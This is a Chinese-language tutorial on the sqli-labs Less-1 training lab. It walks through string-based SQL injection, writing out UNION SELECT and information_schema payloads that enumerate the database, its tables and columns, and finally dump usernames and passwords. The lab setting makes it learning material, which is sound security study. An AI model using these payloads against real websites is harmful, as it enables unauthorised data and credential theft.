less 函数_sqli-labs注入超详细版（less-1）

sql注入是一个很重要安全漏洞，之前学的总是摸棱两可，后来再渗透过程中，经常遇到需要手工注入的情况，这次就从头到尾再做一次，结合mysql数据库一起讲解，希望能给大家带来帮助，顺便自己再一次学习。

less-1 是字符注入，提示我们提交一个id试试

在url中加入?id=1 正常显示出id为1的账号信息。

此时数据库查询语句大概是这样id是字符型（这是我本地新建的模拟数据，不是sqli-labs里面的库）

此时我们加入单引号看看

那这里数据库查询语句肯定会报错，如下图

由此我们判别，id是字符型，且未过滤，转义，那么我们就在这进行注入，sql注入首先要让前面的查询闭合，后面的多余语句注释

如上图所示前面的用单引号闭合，后面的 -- 与 单引号 连接在一起，不能形成正确的sql语句，而 --空格 则可以， 所以在浏览器的url中用 --+ 或 %23 使服务端能够正确注释sql语句
所以payload1 就是 1'--+ payload2就是 1'%23

接下来我们就要用mysql的默认一些库表来爆库，表，那么我们就需要能查询出来，可以用级联查询，union select，用级联查询就需要知道有前面那个表有几列，可以用order by

paylaod： 1' order by 1 --+

当我们用满足的列，查询页面数据就可以显示出来，如果我们用一个大一点的，就会如下图所示

当我们 order by 3的时候 我们页面能正常显示，说明是3个字段，此时我们级联查询

后台结果：

前台页面：

有小伙伴问了， 123 怎么不显示，实际上程序是只显示第一行结果。所以第二行就不显是，我们只需要把前面的id设置成一个数据库不存在的id，那么就可以显示 1，2，3的结果，这个操作叫做判断回显位

paylaod：-1' UNION select 1,2,3 --+

爆库名用mysql 自带的函数 database(),我们替换到对应的回显位

SELECT * FROM user where id='-1' UNION select 1,database(),3 -- ' LIMIT 0,1

然后再报表名

http://172.16.225.128/Less-1/?id=-1' union select 1,version(),GROUP_CONCAT(table_name) from information_schema.`TABLES` where table_schema ='security';--+

information_schema.tables是记录数据库中所有的表，字段，等等，不了解的可以去看下这里面的结构，GROUP_CONCAT 是把结果连成一个字符串再一行显示。

爆字段 GROUP_CONCAT(column_name) from information_schema.columns where table_name ='users' and table_schema='security'

这里报错来字段和表就可以直接查了

http://172.16.225.128/Less-1/?id=-1' union select 1,username,password from users limit 3,4;--+

指定limit 后面的起始行数就都可以爆出来了。写的太详细，真的好累，脖子疼。。

谢谢观看